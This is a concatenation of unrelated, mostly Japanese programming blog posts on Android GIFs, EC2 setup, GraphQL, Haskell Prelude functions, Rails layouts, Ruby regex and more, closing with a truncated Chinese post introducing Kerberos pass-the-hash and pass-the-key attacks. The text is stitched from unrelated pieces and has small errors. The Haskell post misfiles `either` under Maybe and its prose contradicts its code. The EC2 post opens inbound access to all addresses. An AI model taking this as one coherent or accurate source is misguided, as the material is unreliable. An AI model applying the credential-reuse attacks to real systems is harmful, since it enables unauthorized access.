        val loader = ImageLoader.Builder(applicationContext).componentRegistry { add(getGifDecoder()) }.build()

        val imageView = findViewById<ImageView>(R.id.gif_image_view)
        imageView.load(uri = uri, imageLoader = loader)
    }
```

![Nov-09-2020 14-22-31.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/4663aecc-6f77-bff5-8d05-adc5ce317e9a.gif)

# おわりに

アニメーション画像は Lottie を使うことも多いかと思いますが Gif 画像でもいいんじゃねというケースもありそうです。なので Coil を使っているときには Gif 画像での機能実現を検討しても良いのではないかなと思いました。

# 参考文献

- [Coil - Gifs](https://coil-kt.github.io/coil/gifs/)
RailsのアプリをEC2へデプロイしてみる-前編-

#この記事について前提
AWSにユーザー登録済み
既に何かしらのアプリケーションをRails作成済み

※今回の記事でデプロイまではしません。デプロイする前の準備編です。
後編パートで実際にデプロイまでしてみたいと思います。
今回は具体的にターミナルでEC2インスタンスへログインするところまで記述します。
#インスタンスの起動
今回は無料枠のAmazon Linux2を選択します。

![スクリーンショット 2020-11-09 13.26.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/4b752482-0401-113f-a068-d9a7e8edc5b1.png)
インスタンスタイプも無料枠ものを採用
![スクリーンショット 2020-11-09 13.26.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/8f3bbf2f-f8d5-ae4e-682f-7b97580049ac.png)
最後にキーペアを作成します。
キーペア名は任意で決められます。
名前を決めたら忘れず「キーペアのダウンロード」をしましょう。
出来たら「インスタンスの作成」をクリックして「起動」しましょう。
![スクリーンショット 2020-11-09 13.27.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/83690702-a8f0-b07c-40ac-893a5ecd8361.png)
起動したインスタンスに移動してインスタンスIDをメモなどにコピぺしておきましょう。
![スクリーンショット 2020-11-09 13.40.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/af1c0c00-6dc5-bc91-0c4e-194b3332d72c.png)
#Elastic IP作成&インスタンスと紐付け

Elastic IPをインスタンスに紐付けすることで、インスタンスの起動/停止に関わらず、アクセスすることができます。

画像の通り「Elastic IPアドレスの割り当て」をクリックします。
![スクリーンショット 2020-11-09 13.49.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/28359c75-13ad-4bd8-e2ee-4e8c8d7c8d7a.png)
「IPv4アドレスプール」が選択されている事を確認し、割り当てをクリック
![スクリーンショット 2020-11-09 13.49.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/96045ee9-7353-da13-839f-496a216e2ec8.png)
Elastic IPの作成ができたら、インスタンスと紐付けしていきます。
Elastic IPの「アクション」で「関連付け」をクリックしましょう。
![スクリーンショット 2020-11-09 13.50.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/8d273bd4-147f-c802-025a-b83d8ee34a85.png)
赤く囲った「インスタンス」の項目に先ほどコピペしたインスタンスIDを貼り付けましょう。
※自動選択されている時がありますが、その際は選択されたインスタンスを指定しても構いません。
![スクリーンショット 2020-11-09 13.50.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/07647803-9bfb-78aa-c740-11247af4cddf.png)

#インスタンスのセキュリティ設定
インスタンスの「セキュリティーグループ」のリンクをクリックし、インバウンドルールの設定をしましょう。
セキュリティーグループではインスタンスのネットワーク設定を一括して行うことができます。
下記の様に編集しましょう。
「0.0.0.0」や「::/0」は「すべてのアクセスを許可する」という意味です。
![スクリーンショット 2020-11-09 14.05.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/810467/8546832f-f54a-f2ec-7530-b9a5e140540f.png)

ひとまずweb上での設定は以上で準備完了です。

#EC2インスタンスへログイン
インスタンスの設定が完了したので実際にターミナルからインスタンスにログインしてみましょう。

```ターミナル(ローカル)
% cd
% mkdir ~/.ssh
% mv Downloads/ダウンロードした鍵の名前.pem .ssh/
#先ほどダウンロードしたキーをsshに移動させます。
% cd .ssh/
% ssh -i ダウンロードした鍵の名前.pem ec2-user@インスタンスと紐付けたElastic IP
```
下記のコマンドを実行するとyesかnoの選択を要求されるのでyesとしましょう。

```
% ssh -i ダウンロードした鍵の名前.pem ec2-user@インスタンスと紐付けたElastic IP
```
ログインに成功すると「Amazon Linux 2 AMI」とメッセージが返ってくれば成功です。
そしてインスタンス内にRubyやyarnやnodeといったソフトウェアをインストールしましょう。
あとはgit cloneなどでデプロイしたいリポジトリをインストールしましょう。
これでひとまず下準備は完了です。

次回後編ではEC2インスタンスでデータベースを起動していきます。
後編終了後、デプロイ編に移りますので、全編3編になる予定です。
IBM Cloud: CIS(Cloud Internet Service)でGraphQLを試してみる

#1. はじめに
IBM CloudのCIS(Cloud Internet Service)では、[GraphQL](https://graphql.org/)を使ってログなどを取得することが可能になりました（GraphQLはAPI用のクエリ言語です。ググったらもっといい情報が出てきます）。
本稿では、[IBM Cloud docs](https://cloud.ibm.com/docs/cis?topic=cis-graphql&locale=en)に従って、GraphQLを試してみたいと思います。なお、CISでGraphQLを利用するためにはEnterprise Planである必要があります。

#2. GraphiQLの導入とセットアップ

1. [ここ](https://www.electronjs.org/apps/graphiql)からダウンロード可能。私の環境はMacなので、`GraphiQL-0.7.2.dmg`をダウンロードしてダブルクリックから導入した。

2. GraphQL Endpointの設定。<br>![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62127/29235aa2-776c-c584-89f7-9edcc7923f22.png)
    - endpoint情報は`https://api.cis.cloud.ibm.com/v1/<crn>/zones/<zoneid>/graphql`となる。
    - `<crn>`および、`zoneid(Domain ID)`は以下から取得可能。<br> ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62127/1b11d599-030e-b4f4-6808-e9048000561d.png)

3. `Edit HTTP Header`を押下

4. ヘッダ情報を設定<br> ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62127/1b161add-7ab1-8fdb-e06a-e08b6ed88355.png)
    - `X-Auth-User-Token`の値は、IAMの認証トークン情報であり、取得方法は[ここ](https://qiita.com/testnin2/items/3a4ca8a1a2b79b713c48)を参照。
    - `Content-Type`の値は、`application/json`

#3. テスト
IBM Cloud docsにあるサンプルを利用してみた。
ツールの左側に以下のQueryを入れて、実行ボタンを押下すると、右側に結果が表示される。

##3.1 Case1

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62127/965f7159-a3f7-51ca-15ad-f2bcaafbd5ca.png)

`Domain ID`は適宜調整してください。

```txt:Queryの例
{
  viewer {
    zones(filter: {zoneTag: "<Domain ID>"}) {
      settings {
        browserInsightsAdaptiveGroups {
          maxDuration
          maxNumberOfFields
          maxPageSize
          enabled
          notOlderThan
        }
      }
    }
  }
}

```


##3.2 Case2

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62127/fd531e40-e57d-fb20-69cd-2b3fb2d448ec.png)


`Domain ID`および日付は適宜調整してください。

```txt:Queryの例
{
  viewer {
    zones(filter: {zoneTag: "<Domain ID>"}) {
      httpRequests1hGroups(limit: 5, filter: {datetime_gt: "2020-11-08T00:00:00Z", datetime_lt: "2020-11-10T23:59:59Z"}) {
        sum {
          countryMap {
            bytes
            clientCountryName
          }
        }
        dimensions {
          date
          datetime
        }
      }
      firewallEventsAdaptiveGroups(limit: 10, filter: {datetime_gt: "2020-11-09T00:00:00Z", datetime_lt: "2020-11-10T23:59:59Z"}) {
        count
        dimensions {
          clientCountryName
          clientAsn
          datetimeHour
        }
      }
    }
  }
}
```
コンピュータビジョンできるマイコンボードのメモ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/521590/d379d62c-8f70-3bd3-ec6f-fd4e169701cf.png)
**ベンチマーク**
https://medium.com/@aallan/benchmarking-edge-computing-ce3f13942245

**一番いいのは：google coral(mediapipeライブラリーもサポートする)**
https://coral.ai/products/dev-board

**二番目 RaspberryPi + Coral USB
https://coral.ai/products/accelerator

https://coral.ai/products/#prototyping-products

**NVIDIA Jetson**
https://www.amazon.co.jp/-/en/NVIDIA-Jetson-Nano-Development-Kit/dp/B085NQTKS9/ref=pd_sim_147_2/358-7341680-4483742

**マイコンボードのセットアップ**
https://towardsdatascience.com/portable-computer-vision-tensorflow-2-0-on-a-raspberry-pi-part-1-of-2-84e318798ce9


**マイコンボードのカメラ**
https://www.amazon.co.jp/dp/B07W6NK7TW/ref=sspa_dk_detail_2
https://www.raspberrypi.org/products/camera-module-v2
https://coral.ai/docs/dev-board/camera/#connect-the-coral-camera


**他のボード（できそう）：Sipeed Maixduino**
https://www.switch-science.com/catalog/5707/
bashでhistoryの重複を削除する方法

# 既存のhistoryから重複を削除
``` shell
# 現在のhistoryから重複を削除したunduped_historyファイルを作成
nl ~/.bash_history | sort -k 2  -k 1,1nr| uniq -f 1 | sort -n | cut -f 2 > unduped_history

# 重複を除去したhistoryを現在のhistoryと入れ替え
cp unduped_history ~/.bash_history

# 邪魔なので削除
rm unduped_history
```

# 今後もhistoryに重複を残さない方法
`.bashrc`に以下を追記

```
HISTCONTROL=erasedups
```
`.bashrc`を更新

```shell
source .bashrc
```
「誤差」①　桁あふれ誤差

##誤差が生じる理由
コンピュータは32ビット、64ビット等の範囲で様々な数を処理するわけですが、中にはその範囲を超えるような数があります。
たとえば、10進数の「$0.1$」を2進数に基数変換しようとすると、

```math
0.000110011001100110011001...
```
というように、数が無限に続いてしまいます。
もし、この数を限られたビット数の浮動小数点数に表現するとしたら、やはり無理なわけです。
したがって、コンピュータがこのような数を扱う際には**「極力それに近い値」**で済ませるしかありません。
こうして、実際の2進数と「極力それに近い値」との間で誤差が生じることになります。
この例では10進数の基数変換を取り上げましたが、コンピュータが数を処理する際には他にも様々な誤差が生じます。

##桁あふれ誤差
演算した結果、コンピュータが表現できる最大値や最小値を超えてしまうことによって生じる誤差が**桁あふれ誤差**です。

ここでは例として、2進数を下の図のような32ビット形式の浮動小数点数にする場合について取り上げます。
![スクリーンショット 2020-11-08 9.08.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657974/dd84cfff-6f47-7876-d05b-20a9fff80fb6.png)
この形式において指数部に着目すると、この部分は7ビットで2進数を2の補数を使って表現しています。これはつまり、「左から1ビットを符号ビット、残り6ビットを整数とした固定小数点数」と同じ形になっていることが分かります。

下の表はこの固定小数点数の各桁の構造と最大値・最小値をまとめたものです。

| 桁数 | 符号ビット | 6 | 5 | 4 | 3 | 2 | 1 |.| 10進数 |
|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
|   |   |   |   |   |   |   |   |   |   |
|(最小値)| 1 | 0 | 0 | 0 | 0 | 0 | 0 |   | -64 |
|   | 1 | 0 | 0 | 0 | 0 | 0 | 1 |   | -63 |
|   | … | … | … | … | … | … | … |   | … |
|   | 0 | 0 | 0 | 0 | 0 | 0 | 0 |  | 0 |
|   | … | … | … | … | … | … | … |   | … |
|   | 0 | 1 | 1 | 1 | 1 | 1 | 0 |   |62|
|(最大値)| 0 | 1 | 1 | 1 | 1 | 1 | 1 |   |63|

この表から、固定小数点数、つまり「7ビットで２進数を2の補数を使って表現した指数部」が表すことができる範囲は、10進数で「$-64$〜$63$」であることが分かります。

|  | 指数で表現できる範囲 (7ビット) |
|:-:|:-:|
| 最小値 | $-64$　( $-2^{(7-1)}$ ) |
| 最大値  | $63$　( $2^{(7-1)}-1$ ) |
|範囲| $-64$ 〜 $63$ |

この条件において、たとえば 「$0.11\times2^{100}$」という極めて大きな数を扱おうとした場合、指数の値「$100$」は指数部に入る**最大値**を超えてしまい収まりません。
同様に、「$0.11\times-2^{100}$」という極めて小さな数を扱おうとした場合も、指数の値「$100$」は指数部の**最大値**を超えてしまい、範囲に収まりません。
このように、表現可能な2進数の**指数部が大きすぎて表現できない**ことを**オーバーフロー**と呼びます。
![スクリーンショット 2020-11-09 12.47.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657974/90f21945-c1a4-d538-a726-f55bd14d56b4.png)
オーバーフローは「$0.11\times2^{100}$」と「$0.11\times-2^{100}$」のように2進数の正と負の2つの場所で生じます。
したがって、オーバーフローをさらに詳しく分けるならば、「$0.11\times2^{100}$」のような**正のオーバーフロー**と「$0.11\times-2^{100}$」のような**負のオーバーフロー**に分けることができます。
これはつまり、正または負の方向に限らず、表現しようとする2進数の**絶対値が大きすぎる**ことによって生じると言い換えることもできます。

それでは逆に、2進数の**絶対値が小さすぎる**場合について考えてみたいと思います。
例として、「$0.11\times2^{-100}$」や、「$0.11\times-2^{-100}$」のような指数の絶対値が極めて小さな値について取り上げてみます。
この場合、先ほどの図を踏まえるならば、最大値と最小値の範囲には収まっているため、一見問題無いように思われます。

ところが、実際にこの2つの数の指数を指数部に格納しようとすると、指数の値「$-100$」は指数部の**最小値**を超えてしまい、範囲に収まりません。
このように、表現可能な2進数の**指数部が小さすぎて表現できない**ことを**アンダーフロー**と呼びます。アンダーフローは「$0.11\times2^{-100}$」と「$0.11\times-2^{-100}$」のように正と負の2つの場所で生じます。
したがって、アンダーフローをさらに詳しく分けるならば、「$0.11\times2^{-100}$」のような**正のアンダーフロー**と「$0.11\times-2^{-100}$」のような**負のアンダーフロー**に分けることができます。

これらを踏まえて、オーバーフローとアンダーフローについて整理したものが以下の図になります。
![スクリーンショット 2020-11-09 13.17.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/657974/f0808926-b54d-1d78-7dcd-03c9eb665674.png)

浮動小数点数では非常に小さな数から大きな数まで表現することが可能な便利な表現方法です。しかし、オーバーフローやアンダーフローなどの限界が存在し、これが原因で誤差が生じてしまうこともあるということが分かりました。

##参考にさせて頂いた書籍
きたみりゅうじ 『キタミ式イラストIT塾 基本情報技術者平成31/01年』 技術評論社 2019年

##学習してみて
今回から「誤差」についての学習に取り掛かりました。
オーバーフローとアンダーフロー。今までで一番難しかったです。
特にアンダーフローについて勉強していると、「絶対値が」大きいということと「正の方向に」大きいということが混同されてしまって、分かったつもりになっては「あれ、おかしいな」と気付くことの繰り返しでした。
前回で浮動小数点数がとても便利な表現方法であるということが分かったわけですが、やはりそれでも限界はあったということですね。
【Xcode】ViewDebuggerを用いたAutoLayout簡単デバッグ

# はじめに

こちらの記事は以前ツイートした（↓）内容を元にしています。だいぶ時間がたっているのですが、簡単で有効な方法だと思ったので、グーグル検索にひっかかるようにQiitaにしておきたいと思います。  

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Xcode11のView Debuggerから、制約も表示されるようになったらしく、AutoLayoutが壊れた時に実行して、ログ出力の0xから始まるメモリアドレスを適当にコピペしてみたら、どのViewや制約で壊れが発生しているのか直ぐ見つけられて捗った。 <a href="https://t.co/vYGv9HyKOC">pic.twitter.com/vYGv9HyKOC</a></p>&mdash; Teruto Yamasaki ☕️ (@snoozelag) <a href="https://twitter.com/snoozelag/status/1266022121425100800?ref_src=twsrc%5Etfw">May 28, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

## 手順

AutoLayoutのデバッグでは、ログから問題のビューや制約を把握することが肝要ですが、ビューデバッガー上で問題の箇所を特定し表示できることがわかりました。
以下の3STEPで、Xcodeのログに出力されたAutoLayoutのエラーログのメモリアドレスから、絞り込みができます。

![EZHOvxrU0AE6cHY.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/dd3f09af-acac-a53c-f1db-57756c88f218.jpeg)

(1) AutoLayoutの「breaking constraint〜」 のエラーログが出力されたら、 探したいビューまたは制約のメモリアドレス(0xからはじまる)をコピーします。
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/33e00c9b-b1a6-76e0-ed80-bd315e55687d.png" width="300">

(2) ビューデバッガーを起動します（長方形が互い違いに重なっているボタンです）。この時、ログが出力されたと思われる画面を表示していないと見つかりませんので注意です。
![スクリーンショット 2020-11-09 13.00.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/b6424ee5-416d-5bc9-9d2a-1b4b0b105929.png)

(3) Debug Navigatorペインの下部にある、入力フィールドに先ほどコピーしたメモリアドレスをペーストします。
![スクリーンショット 2020-11-09 13.43.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/f8b58cc2-98fe-75e1-cbc4-3d7b68b36f0c.png)

この時、**ビューツリーの最も下にある要素が、問題の起きたビューまたは制約**になります。（特定をすることができました！）

結果がでない場合、すでに画面上からそのインスタンスが削除されている可能性があります。別の画面での発生したログでないか確認しましょう。ログが表示された直後にビューデバッガーを起動するのがコツです。

ーーー

## おまけ（解決編）

(4) ビューデバッガーのハイライト機能などを活用し、このビューに関連する制約を確認し、競合を解決します。

・ビューツリー上のオブジェクトは「副次クリック＞Print Description〜」で詳細をログ出力できます。
![スクリーンショット 2020-11-09 13.16.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/868db96e-1d5a-c0d1-3d81-05b672302996.png)

・ビューツリー上のビューや制約は、選択するとビューデバッガーの表示上にハイライト（濃い青色）になります。
![スクリーンショット 2020-11-09 13.55.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/53174/918776b3-89bc-d80f-0454-be2a68f99f7c.png)

例えば、上記の画像のサンプルでは、同じUIViewに対して、[高さ31の制約][高さ80の制約]と、同じ優先度で競合する制約を設定しているため、[高さ80の方の制約に対して「Will attempt to recover by breaking constraint.（制約を解除して回復を試みる）」と出ています。

この場合、どちらかの制約をコードから削除する、または優先度を設定することでエラーは解決されました。

## おわりに

いかがでしたでしょうか。

Storyboard(Xib)でレイアウトを設定する場合には、ほとんどのエラーが即座に可視化されますので、その場で問題の修正が行えます。しかし、コードで追加した場合や、システム側のUIの制約と競合した時にはどうでしょうか。（難しいことが多いです。）

今回の方法では、多少ビューデバッガーの起動が重たいのはしょうがないとして、このテクニックに気付いてから、かなり活用するようになりました。

また、ツイートではXcode11以降からと書いたのですが、Xcode10.3で確認したところも問題なくビューデバッガー上に制約が表示され、同様のテクニックが有効でした。もちろんXcode12でも使えます。

以上、参考になれば嬉しいです。それでは、良きデバッグライフを！
最寄り駅検索システム

##URL
https://task202010-39020.web.app/

##システム概要
都道府県・市区町村を選択して、
町域と最寄り駅の一覧を表示する。
一覧から選択した最寄り駅の詳細（地図）を表示する。

##技術
・HTML
・pug
・CSS
・Sass
・JavaScript
・webpack
・fetchAPI
・XD
・Firebase Hosting

##地図表示ライブラリ
#####leaflet
https://leafletjs.com/

##使用API
参照元：http://geoapi.heartrails.com/
#####都道府県取得API
http://geoapi.heartrails.com/api/json?method=getPrefectures
#####市区町村取得API
http://geoapi.heartrails.com/api/json?method=getCities
#####町域取得API
http://geoapi.heartrails.com/api/json?method=getTowns
#####最寄り駅取得API
http://geoapi.heartrails.com/api/json?method=getStations

##メソッド説明
#####getListTown(prefecture,city)
都道府県と市区町村を元に町域一覧を取得
→表示項目：町域名、最寄駅

##function説明
#####searchBtnCheck()
検索ボタンをdisabledにするか判定
都道府県OR市区町村が選ばれていない場合、disabled
#####cityListCheck()
市区町村セレクトボックスをdisabledにするか判定
都道府県が選ばれていない場合、disabled
#####deleteList()
一覧を消す
#####getListPrefecture()
都道府県一覧を取得し、都道府県セレクトボックスに設定
#####getListgetListCity(prefecture)
都道府県を元に市区町村一覧を取得し、市区町村セレクトボックスに設定
#####getNearStation(postal)
郵便番号を元に最寄り駅情報を取得
#####search()
検索ボタン押下時に検索結果一覧を表示
#####detailPage(town)
詳細ページへ遷移
#####dispMap()
地図表示
Node-REDのメイン画面

# 　Node-REDのメイン画面
　　Node-Redのメイン画面の構成をメモ。
　　フローを作成する前に画面構成を把握しておく。

## 画面全体
画面上部はデプロイボタンなどが配置されているタイトルバーがあり，
下のメイン画面は[パレット]，[ワークスペース]，[サイドバー]に三分割されている。
入れ替えや縦割に変更したりはできない模様。
![0001_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/92b8f46c-2969-b008-19dc-c40da54837f6.png)

## パレット
パレットの名の通り，フローを作成するためのノードが配置されている。
デフォルトでプリインストールされたノードの他，自分で追加したノードも
このパレットに配置される。
![0002_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/e77a4891-8751-3cf2-8265-bc27b5c845b7.png)

## ワークスペース
パレットからノードを持ってきて，フローを描くワークスペース。
ノードやフローの設定など色々ここで行う。
![0003_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/3e42f58a-f832-dd74-c5f0-4cf874ef7f6b.png)

## サイドバー
多目的なパネルが配置された領域。デバッグメッセージの出るパネルも
ここにあるが，デフォルトはInfoパネルになっているので，
目的によってパネルを切り替えて使用する。
![0004_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/a2bffec4-56a8-451b-4f77-9e59527454a4.png)


## 表示/非表示について
タイトルバーの右上の[三]→[表示]→[パレットを表示]，[サイドバーを表示]の
チェックボックスで表示/非表示の切り替えが可能。
![0005_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/2ad22018-c3a4-9043-071b-c6a6cbf3f010.png)

またマウスで領域の境界をマウスオーバーや，
ショートカットキーでも切り替えできる。
![0006_MainWindow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865740/64ae44f6-6d22-04f7-1c2a-1be06679fd68.png)

Ctrl+p
パレットの表示/非表示

Ctrl+space
サイドバーの表示/非表示
Haskell プレリュード関数特集(1)

# はじめに
Haskellには、予め多くの組み込む関数が用意されています。
その関数は、予め読み込まれるモジュールの中で定義されています。
これを**プレリュード**と呼びます。
今回は、このプレリュード関数にどのようなものがあるのか、実際に試しながらその結果を踏まえまとめていこうと思います。
ちなみに今回参考にしている資料はこちら[Haskell公式-Prelude](http://hackage.haskell.org/package/base-4.7.0.2/docs/Prelude.html)です。

## プレリュード関数
### Bool型の関数
#### &&

```例.hs
  True && False
=> False

   False && False
=> False
```

#### ||

```例.hs
   True || False
=> True

   False || False
=> False
```

##### not

```例.hs
   not True
=> False

   not False
=> True
```

#### otherwise
trueと同値です。
ガードを読みやすくするために使用する。

```例.hs
   otherwise
=> True

```

### Maybe型の関数
#### either
下記の例で説明すると、Leftなら、(+1)をRightなら(+2)を処理する関数を渡してEitherを取り除きます。

```例.hs
   either (+ 1) (* 2) $ Left 5
=> 6

```

### Tuples型の関数
#### fst
ペアの最初の値を抽出します。

```例.hs
   fst ("Hello", "World")
=> "Hello"
```

#### snd
ペアの2番目の値を抽出します。

```例.hs
   snd ("Hello", "World")
=> "World"
```

#### curry
カリー化されていない関数をカリー化された関数に変換します。

```例.hs
  (curry fst)  "Hello" "World"
=> "Hello"

```

#### uncurry
カリー化された関数をペアの関数に変換します。

```例.hs
   (uncurry (-)) (3, 1)
=> 2

```

### Eq型クラスの関数
#### (==)
```例.hs
   1 == 1
=> True

   1 == 2
=> False
```

#### (/=)
```例.hs
   1 /= 1
=> False

   1 /= 2
=> True
```

### Ord型クラスの関数
#### (<)
```例.hs
   1 < 1
=> False

   1 < 2
=> True
```

#### (<=)
```例.hs
    1 <= 1
=> True

    1 <= 2
=> True
```

#### (>)
```例.hs
    1 > 1
=> False

   1 > 2
=> False

   2 > 1
=> True
```

#### (>=)
```例.hs
   1 >= 1
=> True

   1 >= 2
=> False
```

#### max
2つの値の大きい値を返す。

```例.hs
   max 1 5
=> 5

```

#### min
２つの値の小さい値を返す。

```例.hs
   min 1 5
=> 1

```

### Enum型クラスの関数
#### succ
引数で受け取った値の次の値を返す。

```例.hs
  succ 1
=> 2

```

#### pred
引数で受け取った値の前の値を返す。

```例.hs
   pred 2
=> 1
```

#### toEnum
数値 → 列挙型へconvertします。

```例.hs
data Pets =  Dog | Cat deriving (Show, Enum)

main :: IO ()
main =  do
        print (toEnum 0 :: Pets)

=> Dog

```

#### fromEnum
列挙型 → 数値へconvertします。

```例.hs
data Pets =  Dog | Cat deriving (Show, Enum)

main :: IO ()
main =  do
        print $ fromEnum Dog

=> 0
```

# おわり
今日はここまで、次回はBounded型クラスからはじめます。
ヘッダーメニューの表示を遷移ページごとで切り替える方法

# はじめに
ページごとにヘッダーメニューの内容を切り替えたい時の対処法です。
（例えばホーム画面ではAとBとCのメニューを表示させ、新規投稿画面ではDのメニューを表示させたい等）

# 完成イメージ
![headerchange.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/683220/75602749-f22a-d8b9-f401-83ccfb31896f.gif)


# 環境
MacOS 10.15.7
ruby 2.6.5
Ruby on Rails 6.0.0

# 作業していきましょう！

流れとしては、
①headerを「ホーム画面用ヘッダー」と「新規投稿画面用ヘッダー」に分けて部分テンプレートの作成を行います。
②リクエストパスによって条件分岐させ、表示内容を切り替える。
となります。

今回はログイン時にヘッダーに表示されるメニュー内容を変更します。

### ①「ホーム画面用ヘッダー」と「新規投稿画面用ヘッダー」の部分テンプレートを作成

##### ①-１　まずはホーム画面用ヘッダーを作成します。views/layoutディレクトリ内に「_root_header.html.erb」を作成します。

```erb:_root_header.html.erb
<div class="headerMenus">
  <div class="headerMenus__left">
    <%= link_to image_tag("myTown4.jpg", class: "headerLogo"), "/" %>
    <% if user_signed_in? %>
      <div class="loginedMenus">
        <a href="#0", class="loginMenu">Top</a>
        <a href="#1", class="loginMenu">Category</a>
        <a href="#2", class="loginMenu">Prefecture</a>
        <a href="#3", class="loginMenu">New Posts</a>
      </div>
    <% else %>
      <div class="beforeLoginMenus">
        <%= link_to "ゲストログイン", users_guest_sign_in_path, method: :post, class: 'beforeLoginMenu' %>
        <%= link_to "ログイン", new_user_session_path, class: 'beforeLoginMenu' %>
        <%= link_to "新規登録", new_user_registration_path, class: 'beforeLoginMenu' %>
      </div>
    <% end %>
  </div>
  // 一部省略 //
</div>
```
と作成します。
ちなみに、ログイン時には「Top、Category、Prefecture、New Posts」という４つのメニューが表示されます。

<br> 
##### ①-２　「新規投稿画面用ヘッダー」の部分テンプレートを作成します。views/layoutディレクトリ内に「_header.html.erb」を作成します。

```erb:_header.html.erb
<div class="headerMenus">
  <div class="headerMenus__left">
    <%= link_to image_tag("myTown4.jpg", class: "headerLogo"), "/" %>
    <% if user_signed_in? %>
      <div class="loginedMenus">
        <%= link_to "Top Page", root_path, class:"loginMenu" %>
      </div>
    <% else %>
      <div class="beforeLoginMenus">
        <%= link_to "ゲストログイン", users_guest_sign_in_path, method: :post, class: 'beforeLoginMenu' %>
        <%= link_to "ログイン", new_user_session_path, class: 'beforeLoginMenu' %>
        <%= link_to "新規登録", new_user_registration_path, class: 'beforeLoginMenu' %>
      </div>
    <% end %>
  </div>
  // 一部省略 //
</div>
```
こちらはログイン時に「Top Page」というメニューが表示されます。

※ヘッダー内の記述は各人でそれぞれ異なると思いますので、ご自身の記述内容に書き換えてください。

# ②リクエストパスによって条件分岐させ、表示内容を切り替える。

views/layouts内のapplication.html.erbにリクエストパス（ホーム画面へのパスorその他画面のパス）によって条件分岐させる記述をします。

```erb:application.html.erb
// 一部省略 //
<body>
  <header class="header">
    <%# トップページとその他のページでヘッダー表示を変更する %>
    <% if request.path == '/' %>
      <%= render partial: "layouts/root_header" %>
    <% else %>
      <%= render partial: "layouts/header" %>
    <% end %>
  </header>
  // 一部省略　//
</body>
```
`<% if request.path == '/' %>`と記述がありますが、これは「リクエストパスが' / '(ルート）である場合」という意味です。今回の場合、ルートパスをホーム画面に設定しています。

条件がtrue（ルートパスである）の場合は、
`<%= render partial: "layouts/root_header" %>`
で_root_header.html.erbを呼び出します。
</br>
false（ルートパス以外）の場合は
`<%= render partial: "layouts/header" %>`
でheader.html.erbを呼び出します。

以上で完了です。

# 最後に
他にもっと良い方法があるかとは思います。もしもっと良い方法があるという方がいらっしゃえばご教示いただけると幸いです。よろしくお願いします！
Ruby 正規表現 特定の文字列から文字列まで 抽出

#Ruby 正規表現 特定の文字列から文字列まで 抽出する方法


【名称】ほげふが
【原材料】ほげほげ、ふがふが、もげもげ
【内容量】ほげほげ(60g×１００個)×７袋入り
【配送方法】ふがふが配送
【消費期限】製造日よりほげほげ日
【販売・提供者】ふがふが販売所

↑からある特定の文字列だけ抽出しようとするときの正規表現の書き方で少しハマったので紹介

####【内容量】の中身("ほげほげ(60g×１００個)×７袋入り")だけ取得したいとき

#####結論
```extract.rb

str = "【名称】ほげふが【原材料】ほげほげ、ふがふが、もげもげ【内容量】ほげほげ(60g×１００個)×７袋入り【配送方法】ふがふが配送【消費期限】製造日よりほげほげ日【販売・提供者】ふがふが販売所"

str[/【内容量】(.*?)【配送方法】/, 1]

# 出力結果:"ほげほげ(60g×１００個)×７袋入り"
```

###解説（ってほどのもではないですが...）

`[/【内容量】(.*?)【配送方法】/, 1]`
`[/ここから先！という文字列(.*?)ここまで！という文字列/]`
`[/文字列①(.*?)文字列②/]`ってことですね。

####`~, 1]`とは
引数を含まない結果を取得したい時は第二引数を１にします。
第二引数を0,あるいは指定しないと
`【内容量】ほげほげ(60g×１００個)×７袋入り【配送方法】`
が返ってきてしまうということです。

# まとめ
`[/文字列①(.*?)文字列②/, 1]`
AS_REQ & AS_REP引出的安全问题

上文讲了AS_REQ & AS_REP的流程和各个字段的解释。本文将讲述其中产生的问题和如何利用。

# Pass The Hash & Pass The Key
在AS_REQ中使用用户hash加密时间戳，所以不需要明文，pth和ptk就可以实现认证获取票据。

pth不演示了，用ntlm hash搞就行，在补丁kb2871997之后可以用ptk。这个补丁具体的作用参考 https://blog.csdn.net/Ping_Pig/article/details/109171690 先mark

